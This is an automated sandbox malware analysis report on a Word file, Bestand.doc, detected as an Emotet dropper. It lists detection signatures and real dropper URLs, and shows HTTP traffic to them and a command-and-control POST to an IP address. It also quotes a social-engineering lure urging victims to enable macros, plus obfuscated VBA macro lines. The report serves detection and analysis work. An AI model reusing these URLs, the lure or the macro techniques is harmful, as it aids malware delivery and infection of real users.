Analysis Report Bestand.doc

Overview

General Information

Sample Name: Bestand.doc
Analysis ID: 337085
MD5: 64553aae596a4b3177964c3bac7502eb
SHA1: 9cdaf9d3f8dc72d15055fb5ca20fc0dd79b438ff
SHA256: 05ec62e5c17cce0faee1f6e791180a7104de6a277f0a3981a65ad43286b5854f

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with base64 encoded strings
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Suspicious Encoded PowerShell Command Line
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: https://brettshawmagic.com/content/Y/ Avira URL Cloud: Label: malware
Source: http://hangarlastik.com/cgi-bin/Ui4n/ Avira URL Cloud: Label: malware
Source: https://cafecentral.vincoorbisdev.com/wp-admin/VZX9BU/ Avira URL Cloud: Label: malware
Source: http://sarture.com/wp-includes/JD8/ Avira URL Cloud: Label: malware
Source: http://seo.udaipurkart.com/rx-5700-6hnr7/Sgms/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: hangarlastik.com Virustotal: Detection: 6% Perma Link
Source: seo.udaipurkart.com Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for submitted file
Source: Bestand.doc Virustotal: Detection: 61% Perma Link

Cryptography:

barindex
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100011C0 Control_RunDLL,VirtualAlloc,VirtualAlloc,GetModuleHandleExA,VirtualAlloc,GetProcAddress,GetProcAddress,VirtualAlloc,GetProcAddress,LdrFindResource_U,LdrAccessResource,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptAcquireContextW,CryptCreateHash,CryptHashData,CryptDeriveKey,VirtualAlloc,_memmove,CryptEncrypt, 7_2_100011C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100021F0 CryptStringToBinaryW,CoTaskMemAlloc,CryptStringToBinaryW,StgDeserializePropVariant,CoTaskMemFree, 7_2_100021F0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10002730 StgSerializePropVariant,CryptBinaryToStringW,CoTaskMemAlloc,CryptBinaryToStringW,CoTaskMemFree,CoTaskMemFree, 7_2_10002730
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_006F75AE CryptDecodeObjectEx, 19_2_006F75AE
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: E:\WindowsSDK7-Samples-master\WindowsSDK7-Samples-master\winui\shell\appshellintegration\RecipePropertyHandler\Win32\Release\RecipePropertyHandler.pdb source: rundll32.exe, 00000007.00000002.2097438801.000000001000D000.00000002.00020000.sdmp
Source: Binary string: ws\System.pdbpdbtem.pdb\B source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\System.pdbE source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: ws\dll\System.pdb source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: <ystem.pdbD source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.pdblogwW source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.pdbrac source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: System.pdb source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: System.pdb8 source: powershell.exe, 00000005.00000002.2095066862.0000000002C37000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2094801534.0000000002780000.00000002.00000001.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_006F109C FindFirstFileW, 19_2_006F109C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: hangarlastik.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 89.252.164.58:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 89.252.164.58:80

Networking:

barindex
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: http://hangarlastik.com/cgi-bin/Ui4n/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: http://padreescapes.com/blog/0I/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: http://sarture.com/wp-includes/JD8/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: http://seo.udaipurkart.com/rx-5700-6hnr7/Sgms/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: http://phuongapple.com/messenger-sound-8kwkq/YFr7/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: https://brettshawmagic.com/content/Y/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in memory: https://cafecentral.vincoorbisdev.com/wp-admin/VZX9BU/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /cgi-bin/Ui4n/ HTTP/1.1Host: hangarlastik.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Host: hangarlastik.com
Source: global traffic HTTP traffic detected: GET /blog/0I/ HTTP/1.1Host: padreescapes.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/JD8/ HTTP/1.1Host: sarture.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /rx-5700-6hnr7/Sgms/ HTTP/1.1Host: seo.udaipurkart.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 5.2.136.90 5.2.136.90
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: NETINTERNETNetinternetBilisimTeknolojileriASTR NETINTERNETNetinternetBilisimTeknolojileriASTR
Source: Joe Sandbox View ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS
Source: Joe Sandbox View ASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO
Source: Joe Sandbox View ASN Name: ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN ZINIOSS-AS-INZiniosInformationTechnologyPvtLtdIN
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /1b05ye92bd1jr3/zyv623ztls/15s4sj3gl56q/ HTTP/1.1DNT: 0Referer: 5.2.136.90/1b05ye92bd1jr3/zyv623ztls/15s4sj3gl56q/Content-Type: multipart/form-data; boundary=------------------kE9SOewkKUR6zpUliEUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6772Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: unknown TCP traffic detected without corresponding DNS query: 5.2.136.90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 19_2_0070023A InternetReadFile, 19_2_0070023A
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9B0EF2ED-537D-406E-B057-1B1541B1D39D}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /cgi-bin/Ui4n/ HTTP/1.1Host: hangarlastik.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Host: hangarlastik.com
Source: global traffic HTTP traffic detected: GET /blog/0I/ HTTP/1.1Host: padreescapes.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-includes/JD8/ HTTP/1.1Host: sarture.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /rx-5700-6hnr7/Sgms/ HTTP/1.1Host: seo.udaipurkart.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: hangarlastik.com
Source: unknown HTTP traffic detected: POST /1b05ye92bd1jr3/zyv623ztls/15s4sj3gl56q/ HTTP/1.1DNT: 0Referer: 5.2.136.90/1b05ye92bd1jr3/zyv623ztls/15s4sj3gl56q/Content-Type: multipart/form-data; boundary=------------------kE9SOewkKUR6zpUliEUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 5.2.136.90Content-Length: 6772Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: http://hangarlastik.com
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2100092974.000000001B9E0000.00000004.00000001.sdmp String found in binary or memory: http://hangarlastik.com/cgi-bin/Ui4n/
Source: powershell.exe, 00000005.00000002.2098001005.0000000003B1D000.00000004.00000001.sdmp String found in binary or memory: http://hangarlastik.com/cgi-sys/suspendedpage.cgi
Source: powershell.exe, 00000005.00000002.2098001005.0000000003B1D000.00000004.00000001.sdmp String found in binary or memory: http://hangarlastik.comp
Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2098909375.0000000001D87000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095548608.0000000002067000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097503957.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2098909375.0000000001D87000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095548608.0000000002067000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097503957.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2098035314.0000000003B3A000.00000004.00000001.sdmp String found in binary or memory: http://padreescapes.com
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: http://padreescapes.com/blog/0I/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: http://phuongapple.com/messenger-sound-8kwkq/YFr7/
Source: powershell.exe, 00000005.00000002.2098035314.0000000003B3A000.00000004.00000001.sdmp String found in binary or memory: http://sarture.com
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: http://sarture.com/wp-includes/JD8/
Source: powershell.exe, 00000005.00000002.2094377918.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2096621734.00000000028B0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099765117.00000000027F0000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000005.00000002.2098035314.0000000003B3A000.00000004.00000001.sdmp String found in binary or memory: http://seo.udaipurkart.com
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: http://seo.udaipurkart.com/rx-5700-6hnr7/Sgms/
Source: rundll32.exe, 00000006.00000002.2098909375.0000000001D87000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095548608.0000000002067000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097503957.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000006.00000002.2098909375.0000000001D87000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095548608.0000000002067000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097503957.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2094377918.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2096621734.00000000028B0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2099765117.00000000027F0000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2101892214.00000000027A0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2098909375.0000000001D87000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095548608.0000000002067000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097503957.0000000002207000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000006.00000002.2097659737.0000000001BA0000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2095270294.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2097228304.0000000002020000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2099371824.0000000001E80000.00000002.00000001.sdmp, rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2092843138.0000000000374000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/cclea
Source: powershell.exe, 00000005.00000002.2092873286.00000000003C1000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: rundll32.exe, 0000000D.00000002.2104055243.0000000002010000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: https://brettshawmagic.com/content/Y/
Source: powershell.exe, 00000005.00000002.2097223327.0000000003784000.00000004.00000001.sdmp String found in binary or memory: https://cafecentral.vincoorbisdev.com/wp-admin/VZX9BU/

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000D.00000002.2103170019.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2341899738.00000000006F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2110963948.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2099512002.0000000000230000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2106608092.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2097844811.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2110599101.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2105544671.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2096635547.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.2341761700.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2101952282.00000000002C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2105601376.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2103080686.00000000001C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.2110533046.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2096612439.0000000000200000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.2110998210.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2099552528.0000000000251000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100964002.00000000002D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2098980384.00000000007A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2101819334.0000000000210000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2095079967.00000000006A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.2106652050.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2095095758.00000000006C1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2100913831.00000000002B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2104289141.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2104205195.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 10.2.rundll32.exe.250000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.2c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.6f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.210000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.6a0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.2d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.7a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.rundll32.exe.2b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 'age' ' 0' ' i Wo'd
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 'age' ' 0' ' i Wo'd"' i C i N@m 13 ;a 10
Source: Screenshot number: 8 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. O a S
Source: Screenshot number: 8 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Screenshot number: 8 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 8 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. O a S
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Document contains an embedded VBA macro with suspicious strings
Source: Bestand.doc OLE, VBA macro line: Set eRxrHHEBB = TptSCH.CreateTextFile("MqoMRwwIg:\gqqsLDE\cFTTPq.jfZyU")
Source: Bestand.doc OLE, VBA macro line: Set UaCEJEERD = bwdNxC.CreateTextFile("tNUBI:\bUxfKyODA\ZyrvC.WCgQpU")
Source: Bestand.doc OLE, VBA macro line: Set uwCSCCEO = KTDSIL.CreateTextFile("VdGtFIE:\SzlumIC\CndNBJiEG.WAxLRDDC")
Source: Bestand.doc OLE, VBA macro line: Set NHymnJzG = TiWkS.CreateTextFile("JhEjHJH:\heHcF\xIjwBCI.IWEODGR")
Source: Bestand.doc OLE, VBA macro line: Set rfIxFdkBE = ZZzrG.CreateTextFile("HrrfJtDR:\BPgVNA\eowWDqCnB.iaEjRFDB")
Source: Bestand.doc OLE, VBA macro line: Set bcUFD = zetDIDBDI.CreateTextFile("ayAqsH:\opXXFq\UykoCNloH.lEEiEJlG")
Source: Bestand.doc OLE, VBA macro line: Set TOXmCsgb = TjDNNFkVD.CreateTextFile("JYXoyLAMu:\EFBhEtGsQ\owfrHBHf.anGOrJLhY")
Source: Bestand.doc OLE, VBA macro line: Set yHxgEeJg = AUZLIjCLH.CreateTextFile("LPJPJFI:\CTzVF\dLRZEH.maUZE")
Source: Bestand.doc OLE, VBA macro line: Set ApdWADYGV = UjlQFBJj.CreateTextFile("zGzGFMUJD:\QkpIYHOrc\FwQpsJ.ddKnHUJB")
Source: Bestand.doc OLE, VBA macro line: Set eLNGd = buKzFt.CreateTextFile("sucQc:\iYsaHyNC\NiIqHAH.mTesbI")
Source: Bestand.doc OLE, VBA macro line: Set hQCyFzF = msoKFIIMI.CreateTextFile("SQhZmTV:\ITZNAskG\hSsqo.sNJcmiGF")
Source: Bestand.doc OLE, VBA macro line: Set sPUjHbDB = FijxC.CreateTextFile("DNCEiIDxC:\EYevg\MFdKF.RmyPCLa")
Source: Bestand.doc OLE, VBA macro line: Set fdLCFDmF = WqyIx.CreateTextFile("ylDMcFB:\AAOOMAKJq\xwBWuI.IOYsGSuDB")
